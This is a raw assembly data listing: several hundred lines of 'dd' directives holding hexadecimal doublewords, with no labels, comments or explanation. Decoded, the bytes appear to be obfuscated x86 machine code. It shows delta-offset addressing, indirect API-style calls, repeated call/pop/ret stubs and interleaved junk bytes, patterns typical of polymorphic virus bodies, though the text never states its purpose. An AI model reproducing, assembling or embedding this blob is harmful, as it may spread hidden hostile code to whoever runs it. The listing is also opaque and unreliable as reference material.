		dd 9529CD86h, 6121CADh,	0A3EA8166h, 0A195FF26h,	8906121Bh
		dd 12186985h, 0F006A06h, 58Dh, 0E9816600h, 6ACEE5h, 0DBC3C281h
		dd 6A7887h, 1A618D29h, 6A0612h,	10870Fh, 8E80000h, 9A000000h
		dd 8BCA91D8h, 8A7B4329h, 6A5FF7h, 9E58D8Bh, 6A0612h, 0FFAB70Fh
		dd 8Ah,	87858D00h, 0F061502h, 68Ah, 6D8D8B00h, 0F061200h
		dd 486h, 0BBBA6600h, 0BF0F5033h, 2D95FFCFh, 0F061204h
		dd 0F883FABFh, 35850FFFh, 8B000001h, 120401BDh,	8A858D06h
		dd 310614BDh, 1213C18Dh, 8BD0FF06h, 120C818Dh, 0F006A06h
		dd 68Ah, 418D2900h, 6A061214h, 13880F00h, 0E9000000h, 0Eh
		dd 0B1621FACh, 0DC388D00h, 0FD9F9669h, 6AF4B9h,	13E8h
		dd 0B8382900h, 0DE13DB93h, 0EDDCDC9Dh, 0B45F0641h, 0CC391406h
		dd 6A5AF8h, 6820Fh, 0B5890000h,	61222B5h, 1E398531h, 6A0612h
		dd 1A4D8D8Bh, 6A0612h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 1FC35343h, 287858Dh, 6A0615h,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 6B1210C3h, 0F671BA5h, 60FFB70Fh, 0B2C1BF0Fh,	6A5061F3h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 29F1C355h, 123039BDh, 2D95FF06h, 83061204h
		dd 850FFFF8h, 38h, 98D78166h, 0B58DF92Bh, 614FC8Fh, 858DF98Bh
		dd 614A7DFh, 2C5D4FBAh,	8BD0FF36h, 1231AD8Dh, 2EBA6606h
		dd 0F006AB6h, 388h, 0CEBF0F00h,	30FD95FFh, 65B50612h, 2838589h
		dd 6A0615h, 0E71467B9h,	7B858D64h, 0B9061502h, 36533637h
		dd 0FE950h, 87710000h, 0C6404C89h, 0B4462FE6h, 62056E3Fh
		dd 8B046ACFh, 12110D8Dh, 0C1858D06h, 0F061209h,	68Dh, 91958900h
		dd 50061204h, 6C5958Bh,	6A0612h, 0E851006Ah, 3,	59C35920h
		dd 4244C89h, 4244481h, 17h, 0F6C35141h,	0E91F745Eh, 12h
		dd 6F18324Bh, 83306511h, 0CCB77008h, 773C44E0h,	6A7890h
		dd 16ACA8Bh, 29059589h,	810F0612h, 6, 1FCD8589h, 0B5FF0612h
		dd 6150283h, 0FFCF8B66h, 122D2595h, 0EBBF6606h,	1B77E973h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 0F5DA11C3h, 4AC40B2h, 9D89F88Bh, 6121E29h
		dd 0CF8BC08Bh, 1B91BD83h, 75000612h, 0DDBD8309h, 61217h
		dd 53501974h, 0D2B8C08Bh, 89000007h, 12008585h,	0F9D8D06h
		dd 0FF0614AEh, 83585BD3h, 1217DDBDh, 17740006h,	0D2B85350h
		dd 89000007h, 12008585h, 0FE9D8D06h, 0FF0614AAh, 6A585BD3h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0C786C352h, 6A802Dh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 2945D7C3h, 40BBFE75h
		dd 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 0EF273AC3h, 0C1A67907h, 0F78166DAh, 85C7383Ah
		dd 61207ADh, 1,	13018501h, 0B8680612h, 0FFCEE4E7h, 1222EDB5h
		dd 5D858D06h, 0FF06123Bh, 258589D0h, 8D061204h,	1504DF85h
		dd 858D5006h, 615079Ch,	16850h,	95FF8000h, 6120425h, 0A75C00Bh
		dd 193985C7h, 10612h, 0D4680000h, 0FFC005DBh, 1222EDB5h
		dd 5D858D06h, 0FF06123Bh, 658589D0h, 8D061217h,	14F72C85h
		dd 0B5FF5006h, 61203B1h, 9E195FFh, 0C00B0612h, 0D88B0B74h
		dd 6DF858Dh, 0FF500615h, 0DF858DD3h, 66061506h,	75093883h
		dd 3D85C70Ah, 1061205h,	0FF000000h, 122FD995h, 0FF2506h
		dd 0F8830000h, 0C70A7305h, 121C3185h, 106h, 6AB96600h
		dd 52006A0Bh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 9B51F274h, 70E28151h, 5902E2DFh,	1A318D8Bh
		dd 0BD800612h
		dd 61502EEh, 15840F00h,	0B1000000h, 0B8BA660Dh,	98BD839Ch
		dd 61507h, 9840Fh, 0D1B20000h, 1980E9h,	83595300h, 12053DBDh
		dd 850F0006h, 0B6h, 737BBF66h, 2B8858Dh, 0BD8B0615h, 61206D9h
		dd 5D858950h, 6A061206h, 0C1816601h, 6ADFDCh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 8CC35242h, 6A006A95h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 6086C352h, 0F4F01AFh, 68Fh, 25BD0900h, 0FF06122Ah
		dd 122F4995h, 89F98B06h, 1502E285h, 85336006h, 6123085h
		dd 6870Fh, 810F0000h, 0
		dd 66FF6A61h, 0FF6AD4BAh, 1502E2B5h, 7E906h, 0C9C90000h
		dd 5711D1A6h, 271FBA1Ah, 95FF5BBAh, 6122CB5h, 4B71D281h
		dd 858D2D5Bh, 614F6F3h,	23198D33h, 8B500612h, 12203995h
		dd 0C195FF06h, 23061220h, 12185595h, 7D858906h,	6A0614F7h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 83D4C353h, 0FB5D180h, 58Ah, 0CA816600h, 858DF56Ch
		dd 614F700h, 50FBBF0Fh,	2EDDBD89h, 0B5FF0612h, 614F77Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 18C35040h
		dd 0CAE9B687h, 0A2A5E073h, 0B1B77BFh, 0E195FF4Eh, 8B061209h
		dd 0D8589D3h, 0F06121Bh, 80h, 6E858D00h, 6A0614F7h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 13D5C355h, 4E7E9C50h, 0BD29644Ah, 61210E1h, 565B589h
		dd 50500612h, 59D78B52h, 7DB5FF5Ah, 0E90614F7h,	12h, 4DCE8AB3h
		dd 6A68400Eh, 5C0F3021h, 29BDBEE4h, 6E9CD9Dh, 0CD000000h
		dd 0E5416A08h, 0E195FF11h, 66061209h, 8589D18Bh, 614F791h
		dd 0D361B9BFh, 4D858D2Ah, 890614F7h, 1219A5BDh,	6A5006h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0E9031EC3h, 2ED5B589h, 0AE90612h, 59000000h,	5D15B5A7h
		dd 259A8EA9h, 7DB5FF62h, 6A0614F7h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 2230C350h
		dd 0D2816625h, 95FF41C4h, 61209E1h, 8B51F98Bh, 121A298Dh
		dd 85895906h, 614F789h,	8DC6C180h, 14F74085h, 358D8906h
		dd 50061200h, 0D18D8B56h, 5F061219h, 0F77DB5FFh, 8B660614h
		dd 0E195FFFEh, 8B061209h, 1201B18Dh, 8D858906h,	890614F7h
		dd 1219659Dh, 0D1BD8906h, 8D061219h, 14F75B85h,	50CE8B06h
		dd 19DF8166h, 7DB5FF77h, 90614F7h, 1203ADBDh, 0E195FF06h
		dd 81061209h, 0D9D697E9h, 1BD8B05h, 89061205h, 12003985h
		dd 0ED8D8B06h, 8D06121Bh, 14F70F85h, 13E906h, 2B310000h
		dd 1D88ADD5h, 10110085h, 6CDFD043h, 1B0731B2h, 0D18B5099h
		dd 30259D89h, 0B5FF0612h, 614F77Dh, 9E195FFh, 0BF660612h
		dd 8589068Ch, 614F781h,	14E8h, 2F6A7600h, 8E601FBAh, 27AD3AF3h
		dd 87527C98h, 0EF54F3D0h, 0C981668Ah, 8D5A411Eh, 14F71E85h
		dd 3350F806h, 12129D95h, 7DB5FF06h, 0F0614F7h, 1281h, 0C8F0F00h
		dd 0E9000000h, 7, 8AB59AFEh, 0FF95FCD0h, 1209E195h, 0B6E28106h
		dd 897E24EDh, 14F78585h, 25BF6606h, 1046889h, 0B9660000h
		dd 0C28136ABh, 26CEFB63h, 0F815858Dh, 6A0614h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0C8321BC3h, 6F5B7E73h, 5F51613Ah, 85BD8B50h,	8D061226h
		dd 14F91985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 4196037Dh, 0AA1B6219h, 8950F6CAh
		dd 121ACDBDh, 5995FF06h, 23061210h, 1215ED8Dh, 0FC08506h
		dd 285h, 80D08B00h, 1502EEBDh, 850F0006h, 0Eh, 0FCCEF781h
		dd 6AE911D8h, 0F000015h, 0BD83FFBFh, 612053Dh, 36850F00h
		dd 89000000h, 121BB185h, 98BD8306h, 61507h, 46840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 2B1AB3C3h, 122AFD8Dh, 0B2858D06h, 890614F7h,	121C7DBDh
		dd 1513E906h, 8B660000h, 18E9C8h, 5E90000h, 47000000h
		dd 413F4D39h, 0F79D858Dh, 81600614h, 4FC893F1h,	89506164h
		dd 12004DBDh, 918D3106h, 8D061222h, 14F81585h, 258D2B06h
		dd 8B06122Ah, 121A5D95h, 6A5006h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 64B98DC3h, 8589604Bh
		dd 6121531h, 12DD952Bh,	8A610612h, 3DBD83D0h, 61205h, 2D840Fh
		dd 830F0000h, 11h, 9E8h, 5300B700h, 0CBB785CAh,	6160D56Dh
		dd 3B858D59h, 10614F9h,	121EF1BDh, 16E906h, 53510000h
		dd 8D5A5FF8h, 14F92485h, 6E906h, 0B2930000h, 183F79Eh
		dd 0CE950h, 9EC30000h, 8FC37696h, 5B0E96E6h, 12E9289Fh
		dd 64000000h, 0DFCAAD6Fh, 0F81A3066h, 317E29DCh, 501E131Bh
		dd 73858D71h, 0F0614F9h, 386h, 0CA8B6600h, 0FF06B550h
		dd 12237195h, 0FAB70F06h, 58B0Fh, 0DCB90000h, 835110B1h
		dd 0BD8B10C4h, 6120C91h, 0BD8BC08Bh, 6122329h, 1B91BD83h
		dd 75000612h, 0DDBD8309h, 61217h, 53501974h, 0D3B8C08Bh
		dd 89000007h, 12008585h, 0F9D8D06h, 0FF0614AEh,	83585BD3h
		dd 1217DDBDh, 17740006h, 0D3B85350h, 89000007h,	12008585h
		dd 0FE9D8D06h, 0FF0614AAh, 60585BD3h, 89616060h, 122259BDh
		dd 890F6106h, 6, 850Fh,	0E8610000h, 12h, 2A62AE2Dh, 0F8B8B7FCh
		dd 0B684916Ah, 0A40A1678h, 8D8BB005h, 6122D41h,	89C08B5Ah
		dd 123131BDh, 800F06h, 81000000h, 14F79DBDh, 65726F06h
		dd 0A8840F61h, 66000000h, 0E9FE61B9h, 14h, 0A39A3484h
		dd 0C2D7DB87h, 4AB7CED4h, 0C209B7A3h, 0D52D9A06h, 0F815858Dh
		dd 8D500614h, 14F95285h, 858D5006h, 614F973h, 7195FF50h
		dd 83061223h, 85C60CC4h, 6122871h, 184F6844h, 0B5FF96A3h
		dd 61203B1h, 3B5D858Dh,	0D0FF0612h, 858DD88Bh, 614F973h
		dd 8DD3FF50h, 14F79D85h, 858D5006h, 614F815h, 3DBD8350h
		dd 61205h, 858D0874h, 614F93Bh,	858D06EBh, 614F924h, 73858D50h
		dd 500614F9h, 237195FFh, 0C4830612h, 6840F10h, 8B000000h
		dd 12069995h, 0DDB50906h, 0FF061230h, 122FD995h, 25D1B506h
		dd 0FFh, 5F883F8h, 62830Fh, 95890000h, 612091Dh, 28E0F60h
		dd 8B000000h, 14E9F1h, 0FE510000h, 0C0E6E17Fh, 0A25DA4A2h
		dd 32F299Fh, 0BFBB6B48h, 0C761AE3Dh, 121C3185h,	106h, 1BDE8000h
		dd 0F7D1858Dh, 6A0614h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 9B9906C3h, 4BE969h, 0BFB60000h
		dd 53DBD83h, 0F000612h,	3184h, 55006A00h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 8D8DB984h
		dd 14F7FC85h, 0E9CB8B06h, 11h, 1E6DC781h, 858D4C16h, 614F7DEh
		dd 6D18166h, 118589CEh,	0F0614F8h, 281h, 83FB8B00h, 12053DBDh
		dd 850F0006h, 12h, 83FA8B66h, 150798BDh, 840F0006h, 0Ch
		dd 0BEE9EA8Ah, 0BF000011h, 30EA256Bh, 505E9h, 0D8D2900h
		dd 8B061235h, 8D8B50C0h, 61203D1h, 91BD8359h, 6121Bh, 0BD830975h
		dd 61217DDh, 50197400h,	0B8C08B53h, 7D4h, 858589h, 9D8D0612h
		dd 614AE0Fh, 585BD3FFh,	17DDBD83h, 74000612h, 0B8535017h
		dd 7D4h, 858589h, 9D8D0612h, 614AAFEh, 585BD3FFh, 1B3DBD8Bh
		dd 880F0612h, 6, 72DB589h, 0C08B0612h, 2D39BD23h, 8D890612h
		dd 6121935h, 0F003F68h,	95316000h, 6121B3Dh, 2A3D9D89h
		dd 6A610612h, 0FE900h, 4FB20000h, 376D6E6h, 0FC6F8DC1h
		dd 29C9C20Ah, 8B006A21h, 0C1A2B9C8h, 95FF69C3h,	6121B0Dh
		dd 2FB18D8Bh, 0C0850612h, 2A850Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 87174CC3h, 8D899DDFh
		dd 612004Dh, 0F28ABF66h, 0F7958589h, 0F600614h,	58Ah, 0E2816600h
		dd 8F0F24CCh, 6, 1198529h, 6A610612h, 12E900h, 67450000h
		dd 0CECA1209h, 62F268Dh, 6CF6FBADh, 72B8617Bh, 0BE9h, 40938F00h
		dd 22052E87h, 836C528h,	8B66006Ah, 6A006AD1h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0A0E2C357h, 9E9h, 0D88F5500h, 2F78D56Ch, 6AC218h, 5820Fh
		dd 81660000h, 6AE601D9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 8D2D2356h, 14F97385h
		dd 0D9B50906h, 50061206h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 0B1C35545h, 8169C59Dh, 0D6B918F7h, 6A016A02h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 67BC350h,	950BDD61h, 6123145h, 6A016Ah, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0BD8A80C3h, 0E518A81Dh, 6AEEA232h, 0D5BD8901h, 68061229h
		dd 0F01FFh, 17618D8Bh, 0BD830612h, 612053Dh, 26840F00h
		dd 0F5000000h, 0F7F2858Dh, 0E9800614h, 0BE874h,	0A40B0000h
		dd 7A6346E4h, 5E53D14h,	12E959D7h, 81000000h, 5EEE42E1h
		dd 0C8858D63h, 8B0614F7h, 121381BDh, 95895006h,	612104Dh
		dd 0F5F404BAh, 870F5055h, 6, 840Fh, 0B5FF0000h,	614F795h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 3C35646h
		dd 7CAC9837h, 0A1BC35E6h, 17C98166h, 8195FF3Fh,	660614F7h
		dd 59CBC281h, 850FC085h, 0Dh, 0E9CE8B66h, 84h, 0DC78166h
		dd 99858986h, 6A0614F7h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 6EEC352h, 90AB183Eh
		dd 8B06408Ch, 1223B18Dh, 99B5FF06h, 6A0614F7h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 4031C351h, 17D8529h,	95FF0612h, 6120039h, 58D0Fh, 81660000h
		dd 667B5AD7h, 0C085F98Bh, 0A850Fh, 0BF660000h, 0B58992E8h
		dd 6123181h, 0CE8B106Ah, 53DBD83h, 0F000612h, 3184h, 858DF900h
		dd 614F7F2h, 14E9h, 8046C300h, 0E8B4195Bh, 9CC64621h, 0EDA18F14h
		dd 5D0C4D34h, 1CE91Ah, 830F0000h, 6, 1B09BD29h,	858D0612h
		dd 614F7C8h, 5E9h, 38450400h, 6A504024h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0F739C353h
		dd 0B5FFFEB4h, 614F795h, 0FFFBB70Fh, 14F78D95h,	0E98D0906h
		dd 0E906120Eh, 5, 969D48B5h, 0FC085ABh,	685h, 870F00h
		dd 89000000h, 14F79985h, 9E906h, 6E3F0000h, 44CF6205h
		dd 6A9A1C4Dh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 0E2133F0Fh, 4AA8DF2Ch, 0BA14BA66h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 0F12AA9C3h, 5803BFA1h, 31DAD3D1h,	121971BDh
		dd 99B5FF06h, 890614F7h, 12075595h, 8D8B6006h, 61208C5h
		dd 8595FF61h, 6A0614F7h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 5EAEC356h, 9C2DEBFCh
		dd 0BE826A5h, 0A3000000h, 0DAD80D83h, 0FE940BE6h, 3156FCC4h
		dd 1215D195h, 855A5A06h, 0B850FC0h, 0E9000000h,	6, 728E319Bh
		dd 0B5FFB224h, 614F799h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 15h, 6EC35242h, 8979B6D7h,	1218D595h, 3995FF06h
		dd 0F061200h, 958BCBB7h, 6122F4Dh, 850FC085h, 6, 0DA5B589h
		dd 6A0612h, 0BAFC44BFh,	80680Eh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 8B43BCC3h
		dd 120C85BDh, 657AB906h, 36A4140h, 43080EBFh, 89006A74h
		dd 122A6185h, 2B006A06h, 12096DBDh, 6806h, 0BD33C000h
		dd 6121275h, 0F811B5FFh, 12E90614h, 0BE000000h,	0C65C1114h
		dd 0A5D704DAh, 0AFA1C1CFh, 37DD80B8h, 2D95FF42h, 0E8061204h
		dd 0Bh,	6E6EC678h, 676FBE06h, 0E92490D3h, 0Eh, 0BF5FF71Ah
		dd 0FF123CF1h, 0CBD5D162h, 835FB1CBh, 850FFFF8h, 51Eh
		dd 27F85FFh, 82BF0615h,	831F1660h, 15027FBDh, 840F0206h
		dd 40Dh, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 15h,	8AC35242h, 3B858D3Ch, 52005B24h, 8BD0FF5Fh, 120EFD95h
		dd 8E858D06h, 8B005B1Eh, 1211858Dh, 6AD0FF06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 8912C353h, 1215A58Dh, 3C08B06h, 120DC9BDh, 91BD8306h
		dd 6121Bh, 0BD830975h, 61217DDh, 50197400h, 0B8C08B53h
		dd 7D8h, 858589h, 9D8D0612h, 614AE0Fh, 585BD3FFh, 17DDBD83h
		dd 74000612h, 0B8535017h, 7D8h,	858589h, 9D8D0612h, 614AAFEh
		dd 585BD3FFh, 3319589h,	0BD890612h, 6121B69h, 0F60C08Bh
		dd 587h, 0A1ECB900h, 840F4D36h,	6, 1749BD8Bh, 68610612h
		dd 0F003Fh, 2FE78166h, 6A006A47h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 5F34E7A3h
		dd 0BA6660D2h, 0F281C3FDh, 3CDA1C2Ch, 0D95FF61h, 0BF06121Bh
		dd 1F515620h, 6AC085h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 0B10507C3h, 8B76B121h, 12178595h
		dd 95858906h, 0E90614F7h, 0Eh, 18FD0CEDh, 0D40AA620h, 4B2D08B6h
		dd 0FF681832h, 83000F01h, 12053DBDh, 840F0006h,	21h, 1739B589h
		dd 858D0612h, 614F7F2h,	2A798D01h, 16E90612h, 0E9000000h
		dd 5, 0CA8C92FAh, 0C8858D38h, 890614F7h, 122FDDBDh, 0BF0F5006h
		dd 95B5FFFFh, 6A0614F7h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 8A92C356h, 0FFCB8B57h
		dd 14F78D95h, 0FC53F506h, 9985895Fh, 660614F7h,	1E855B9h
		dd 1210E9BDh, 5985C706h, 61202h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 6A52C357h
		dd 0DA506123h, 83CE8B66h, 14F799BDh, 840F0006h,	1C6h, 290D950Bh
		dd 858D0612h, 614FA77h,	22B59589h, 89500612h, 1219B99Dh
		dd 6A016A06h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 2958C352h, 73D21AE2h, 0B5FF9388h
		dd 614F799h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	52C35646h, 91961333h, 9195FFFCh, 0F0614F7h, 0B5FFD6B7h
		dd 614F799h, 9859B966h,	95FF72B6h, 6120039h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 80C35747h, 87CF8166h
		dd 1FF6805h, 4DBA000Fh,	831DEAC9h, 12053DBDh, 840F0006h
		dd 5Eh,	68B0Fh,	0B5010000h, 6120E81h, 0F7F2858Dh, 6A0614h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0E3E5ABC3h, 991E9A51h, 34E9F8C3h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 1D49C356h, 33235CDCh, 858D86F2h
		dd 614F7C8h, 0DB1B529h,	8FBA0612h, 501F9525h, 0FF32E280h
		dd 14F795B5h, 5D8D8B06h, 0FF061200h, 14F78D95h,	6880F06h
		dd 29000000h, 12241595h, 99858906h, 660614F7h, 0B5FFCF8Bh
		dd 614F799h, 11E9h, 0EB0F9500h,	28CD61D6h, 0E8B570D6h
		dd 4B8B3C58h, 4EB6A5A0h, 0F78995FFh, 0C9810614h, 2248E122h
		dd 0F799B5FFh, 0EF810614h, 64E18250h, 3995FFh, 6A0612h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 11E957C3h, 19000000h, 0A5FDF307h, 8DF15EBDh,	45172A9Fh
		dd 0B02CED69h, 29058589h, 5CE90612h, 6AFFFFF6h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 552C353h, 8B62B51Eh,	120319BDh, 0E2B5FF06h, 60061502h
		dd 0A6ABBE66h, 68F0Fh, 85090000h, 6121FCDh, 3195FF61h
		dd 0E906121Bh, 10h, 2BBAA35Fh, 0A29F5524h, 7D08E659h, 0ABF9B3EAh
		dd 858BD38Bh, 6120E21h,	1443C6B9h, 5B8E944h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 70DC91C3h, 0B8A5B69Bh, 0D981B3F6h, 20B39525h, 8E9h
		dd 75008900h, 0B57DB51Fh, 97B58DD3h, 810614FAh,	551C19D7h
		dd 0DF858D1Bh, 6A0614A7h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 1C29C355h, 198D8BD6h
		dd 0FF061218h, 25BF66D0h, 66006A4Bh, 95FFFE8Bh,	61230FDh
		dd 9F38BF8h, 12144195h,	8DF48A06h, 14A7DF85h, 0CEBF0F06h
		dd 0CD80D0FFh, 0F006A89h, 95FFD0B7h, 61230FDh, 0BE9h, 0D3862F00h
		dd 71BBD581h, 13751C36h, 0C08BF88Bh, 14E9h, 0DE61E900h
		dd 33AB2903h, 0B798489Ah, 0E4ADB964h, 0F02847A9h, 91BD83D9h
		dd 6121Bh, 0BD830975h, 61217DDh, 50197400h, 0B8C08B53h
		dd 7D9h, 858589h, 9D8D0612h, 614AE0Fh, 585BD3FFh, 17DDBD83h
		dd 74000612h, 0B8535017h, 7D9h,	858589h, 9D8D0612h, 614AAFEh
		dd 585BD3FFh, 104D8D23h, 0CA8B0612h, 8D89C08Bh,	61221C1h
		dd 0BE8h, 5EA3A300h, 0B286DC5Fh, 38C9F333h, 505AD38Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0DAC35545h
		dd 299A3A6Eh, 0BD8BA8DCh, 6120DB9h, 840FD88Bh, 0Ah, 820F60h
		dd 52000000h, 8D53615Bh, 12212D9Dh, 89038B06h, 50438B03h
		dd 8D504389h, 15027B9Dh, 89038B06h, 66605B03h, 0E9889ABBh
		dd 6, 4BE5033Ah, 0E861F1EAh, 14h, 0F569FD4Fh, 11D44B0Fh
		dd 0B056699Ch, 85B61DCh, 37A58FD8h, 0F1C1BF66h,	8D006A59h
		dd 15027B85h, 0BD8B5606h, 6121291h, 0BF66505Fh,	606A217Dh
		dd 0B2CF8B66h, 2D858D17h, 89061221h, 1208ED9Dh,	6A5006h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0D837C3C3h, 6AF444h,	0EE8h, 0DF55E400h, 3C0E311Bh, 0E77C3B61h
		dd 0E8B66F87h, 0Ah, 105F4246h, 0C0504761h, 0D9819D6Ch
		dd 0F996E4Fh, 6A5F5Ah, 19BD958Bh, 680612h, 29000018h, 120421B5h
		dd 800F5306h, 1Ch, 16860Fh, 10E80000h, 50000000h, 8569ED94h
		dd 1580C094h, 37D2D67Ah, 59EA7A71h, 95FF29B1h, 6122D25h
		dd 1890Fh, 0FFF50000h, 121BA195h, 1DC18006h, 2E2B5FFh
		dd 8D8B0615h, 61204FDh,	1B3195FFh, 6A0612h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 900E1DC3h
		dd 0F68DCE9h, 11E9FABFh, 11000000h, 0A69A49C4h,	61F8D5ECh
		dd 4169811Fh, 2A278FEAh, 212D858Dh, 0BF660612h,	408B7D6Dh
		dd 0A58D2918h, 0E9061234h, 14h,	0E297BAF7h, 0ADA083C8h
		dd 0EBCBB5E5h, 0BDF8562h, 371CD89Fh, 311185C7h,	612h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 736421C3h, 3FDBAFDAh, 12918D03h, 0BD830612h,	612053Dh
		dd 66840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 43B5C352h, 865B6767h
		dd 0BE8AA77h, 14000000h, 0FFA17A9h, 5455B386h, 59FC56F9h
		dd 24D9D89h, 8C3D0612h,	0F000000h, 15D83h, 6820F00h, 89000000h
		dd 121DDD8Dh, 6E906h, 0F6890000h, 48BD17D2h, 15E9h, 3CBF6600h
		dd 983D48h, 830F0000h, 132h, 68D958Bh, 858D0612h, 5B243Bh
		dd 1BDD8589h, 0D0FF0612h, 0EE9h, 86A5BC00h, 62D0F029h
		dd 5853AEACh, 8D364B41h, 5B1E8E85h, 28D0F00h, 8B000000h
		dd 31D0FFFEh, 1229D595h, 81C08B06h, 5FCEAD1h, 91BD8344h
		dd 6121Bh, 0BD830975h, 61217DDh, 50197400h, 0B8C08B53h
		dd 0BC6h, 858589h, 9D8D0612h, 614AE0Fh,	585BD3FFh, 17DDBD83h
		dd 74000612h, 0B8535017h, 0BC6h, 858589h, 9D8D0612h, 614AAFEh
		dd 585BD3FFh, 23BF6657h, 9D895FEDh, 6120D51h, 810FC08Bh
		dd 6, 1759958Bh, 0F530612h, 8Fh, 0F8835F00h, 27850FFFh
		dd 89000000h, 120969B5h, 0B985C706h, 61221h, 0E9000000h
		dd 0F5h, 0BE18166h, 0E9D68B02h,	22h, 22AD9509h,	0F8830612h
		dd 13850F01h, 8B000000h, 12193595h, 114E906h, 51600000h
		dd 8A58D78Bh, 40E961C3h, 6AFFFFF1h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 1CFBC350h
		dd 1BF9C308h, 95292A5Bh, 6120875h, 2A5BD8Bh, 0C08B0612h
		dd 0D419B966h, 1B91BD83h, 75000612h, 0DDBD8309h, 61217h
		dd 53501974h, 0DDB8C08Bh, 89000007h, 12008585h,	0F9D8D06h
		dd 0FF0614AEh, 83585BD3h, 1217DDBDh, 17740006h,	0DDB85350h
		dd 89000007h, 12008585h, 0FE9D8D06h, 0FF0614AAh, 6A585BD3h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0D5F1C356h, 0D24E766Bh, 0C8BF0F9Fh, 33CF8166h
		dd 8D95037Fh, 8B061221h, 5181BFC0h, 32E90D87h, 0F000002h
		dd 0BF0FF8BFh, 7F858DFEh, 8B061500h, 122B0195h,	77858906h
		dd 6A061502h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 594CC357h, 0B03EEE98h,	0B18D0BF4h
		dd 0E9061201h, 51h, 1681958Bh, 858D0612h, 614FE87h, 10E8h
